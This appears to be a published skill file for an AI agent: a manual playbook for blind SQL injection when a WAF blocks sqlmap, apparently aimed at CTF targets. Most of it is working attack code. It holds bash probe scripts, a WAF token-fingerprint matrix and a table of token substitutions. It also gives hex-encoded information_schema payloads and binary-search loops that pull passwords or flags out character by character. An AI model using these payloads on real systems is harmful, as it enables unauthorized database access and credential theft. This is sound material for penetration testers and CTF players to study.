blind-sqli

star 4.4k

Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.

PurpleAILAB By PurpleAILAB schedule Updated 6/2/2026

name: blind-sqli description: "Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF." metadata: subdomain: web-exploitation mitre_attack: T1190 when_to_use: "blind sqli, blind sql injection, boolean-based sqli, sqlmap blocked, sqlmap waf, sqlmap tamper failed, sql waf bypass, ascii substring filtered, IF function filtered, AND filtered, single quote stripped, hex encoded payload, group_concat blocked, information_schema unauthorized, query parameter filter, character extraction, binary search payload"

Blind SQL Injection — Manual WAF Bypass

Companion to sqli.md. Load this only after you have:

  1. Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes).
  2. Confirmed sqlmap with --tamper cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock.

If both conditions hold, the goal is to hand-craft a payload that substitutes every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count.

Confirm the oracle first (≤2 minutes)

The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction:

probe() {
  local label="$1"; local payload="$2"
  local resp
  resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \
    --data-urlencode "username=${payload}")
  echo "$resp" \
    | grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \
    | head -1
}

probe "true probe"  "x\"||1=1#"     # expect: User exists
probe "false probe" "x\"||1=2#"     # expect: No results
probe "filter probe" "x\"||SLEEP(0)#"  # expect: filtered (token banned)

A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but bash's time resolution and HTTP jitter make a content oracle 5-10× more reliable.

Step 1 — WAF token fingerprint (batched probe script)

Test 10-15 candidate tokens in one script, log each as a labelled line. One script run beats 15 sequential bash calls (saves ~70% of the round-trip cost).

cat > /tmp/probe.sh <<'EOF'
#!/usr/bin/env bash
set -u
TARGET="${TARGET:?set TARGET=host:port}"
ENDPOINT="${ENDPOINT:-/search.php}"
PARAM="${PARAM:-username}"
INJ="${INJ:-x\"||{PAYLOAD}#}"     # outer template; {PAYLOAD} is replaced

probe() {
  local label="$1"; local payload="$2"
  local body="${INJ/'{PAYLOAD}'/$payload}"
  local resp
  resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
    --data-urlencode "$PARAM=$body")
  local sig
  sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1)
  printf "%-40s | %s\n" "$label" "${sig:-???}"
}

# === SQL token sniff matrix ===
probe "1=1 baseline true"              "1=1"
probe "1=2 baseline false"             "1=2"
probe "WHERE clause"                   "EXISTS(SELECT 1 FROM users WHERE 1=1)"
probe "AND keyword"                    "1=1 AND 1=1"
probe "&& operator"                    "1=1 && 1=1"
probe "OR keyword"                     "1=0 OR 1=1"
probe "|| operator"                    "1=0 || 1=1"
probe "IF function"                    "IF(1=1,1,0)"
probe "CASE WHEN"                      "(CASE WHEN 1=1 THEN 1 ELSE 0 END)"
probe "SUBSTRING(str,1,1)"             "SUBSTRING('abc',1,1)='a'"
probe "MID(str,1,1)"                   "MID('abc',1,1)='a'"
probe "ASCII(c)"                       "ASCII('a')=97"
probe "ORD(c)"                         "ORD('a')=97"
probe "GROUP_CONCAT()"                 "GROUP_CONCAT('a','b')='ab'"
probe "single-quote 'a'"               "'a'='a'"
probe "double-quote \"a\""             "\"a\"=\"a\""
probe "hex 0x61"                       "0x61='a'"
probe "arithmetic boolean"             "(1=1)*(1=1)=1"
EOF
chmod +x /tmp/probe.sh
TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out

Every line that returns ??? (no matching signature) or filtered is a banned token. Every line that flips the oracle correctly (User exists for the true rows, No results for the false rows) is a usable primitive.

Common WAF substitution map (the bench-tested replacements that have worked across multiple targets):

Filtered token Substitute that survives
SUBSTRING(s,i,n) MID(s,i,n)
IF(c,t,f) (CASE WHEN c THEN t ELSE f END) or arithmetic (see below)
AND &&
OR ||
WHERE JOIN ... ON subquery, or move predicate into SUM((c1)*(c2))
'literal' 0x6c6974657261 (hex) or CHAR(108,105,116,...)
GROUP_CONCAT(IF(c,t,0)) SUM((c)*ASCII(...)) per position

Step 2 — boolean evaluation without IF/WHERE/AND

When the WAF strips IF, AND, WHERE together, the cleanest replacement is arithmetic multiplication of booleans. MySQL treats (comparison) as an integer in {0,1}, and * distributes as logical AND:

# AND  →  product
(table_schema=0x637466) * (table_name=0x7573657273) * (column_name=0x70617373776f7264)

# OR   →  sum > 0
((column_name=0x...) + (column_name=0x...)) > 0

# IF(cond, A, B)  →  cond * A + (1 - cond) * B
(cond) * ASCII_OF_A + (1 - (cond)) * ASCII_OF_B

Concrete payload that enumerates information_schema.columns without ever using WHERE/IF/AND:

"||(SELECT(SUM((table_schema=0x637466)*(table_name=0x7573657273)*(column_name=0x70617373776f7264)))FROM(information_schema.columns))>0#

If the page returns "User exists" the predicate is true (column exists), "No results" → false. One probe per (schema, table, column) triple.

Step 3 — hex every string literal you send

Single and double quotes are usually filtered. Convert every literal to hex once at the top of your script, then never use bare strings inside the SQL payload:

hex() { python3 -c "import sys; print('0x'+sys.argv[1].encode().hex())" "$1"; }
SCHEMA_HEX=$(hex "ctf")          # 0x637466
TABLE_HEX=$(hex "users")          # 0x7573657273
COL_HEX=$(hex "password")         # 0x70617373776f7264

Reuse these in every payload. Saves you from re-checking which quote variant the WAF blocked this iteration.

Step 4 — exponential-probe binary search for length

Don't binary-search from 1..N — most targets have passwords/flags between 16 and 64 chars. Probe exponentially first, then refine:

# Exponential bound: find the first power that flips false → true
LEN_HEX=""
for n in 1 2 4 8 16 32 64 128 256 512 1024; do
  payload="x\"||LENGTH(${EXTRACT_EXPR})>${n}#"
  resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
    --data-urlencode "$PARAM=$payload")
  if echo "$resp" | grep -q "User exists"; then
    LOW=$n
  else
    HIGH=$n; break
  fi
done
# Binary search in [LOW, HIGH]
while [ $((HIGH - LOW)) -gt 1 ]; do
  MID=$(((LOW + HIGH) / 2))
  payload="x\"||LENGTH(${EXTRACT_EXPR})>${MID}#"
  resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
    --data-urlencode "$PARAM=$payload")
  if echo "$resp" | grep -q "User exists"; then LOW=$MID; else HIGH=$MID; fi
done
echo "length=$HIGH"

Worst case 11 + ~10 = 21 requests for any password ≤1024 chars. Pure linear scan would be O(N).

Step 5 — extract characters with one request per bit (or per char)

Once length is known, the shortest extraction is per-character ASCII binary search (≤7 requests per char for printable ASCII). Use MID() and ASCII():

LEN=18
RESULT=""
for i in $(seq 1 $LEN); do
  LO=32; HI=126
  while [ $((HI - LO)) -gt 1 ]; do
    M=$(((LO + HI) / 2))
    payload="x\"||ASCII(MID((${EXTRACT_EXPR}),${i},1))>${M}#"
    resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
      --data-urlencode "$PARAM=$payload")
    if echo "$resp" | grep -q "User exists"; then LO=$M; else HI=$M; fi
  done
  RESULT+=$(printf "\\$(printf '%03o' $HI)")
  echo "pos $i: $RESULT"
done
echo "extracted: $RESULT"

For a 30-char value that's ~210 requests serially. If the server tolerates concurrency, parallelize positions (NOT bit-bisection within a position — that requires serial state). 10 concurrent positions cuts wall-clock by ~10×.

Step 6 — sanity gate before launching extraction

Before you start a multi-hundred-request loop, always confirm the EXTRACT_EXPR returns non-empty length on a known-good probe. Otherwise you spend 5+ minutes extracting from an empty/wrong target.

# Probe length once. If length is 0 or absurdly large (>4096), abort — your subquery is wrong.
payload="x\"||LENGTH(${EXTRACT_EXPR})>0#"
resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \
  --data-urlencode "$PARAM=$payload")
echo "$resp" | grep -q "User exists" || {
  echo "EXTRACT_EXPR returned empty — fix your subquery before extracting"
  exit 1
}

Anti-patterns — don't do these

  • Don't poll background sessions for extract.py without a progress signal. If the script doesn't emit per-character logs, you cannot tell the difference between "still working" and "stuck on an empty result". Either log every position, or kill and restart in foreground.
  • Don't reuse the same bash session for both interactive probe scripts and long extraction loops — interactive prompts collide with background output and you'll burn bash_kill calls. Run extraction in a named session (work, extract, etc.) and keep main for ad-hoc probes.
  • Don't enumerate information_schema blindly with GROUP_CONCAT when WHERE is filtered — the unfiltered concat dumps every table/column in the database and you get a 100 KB blob of 0,0,0,...,users because non-matching rows return 0. Use the arithmetic-multiplication predicate instead and check one cell at a time.
  • Don't hex-encode the WAF token itself to bypass — the WAF tokenizes after URL-decode, so 0x53454c454354 (hex SELECT) still matches. Hex helps for string literals inside the query, not for SQL keywords.
Install via CLI
npx skills add https://github.com/PurpleAILAB/Decepticon --skill blind-sqli
Repository Details
star Stars 4,393
call_split Forks 875
navigation Branch main
article Path SKILL.md
More from Creator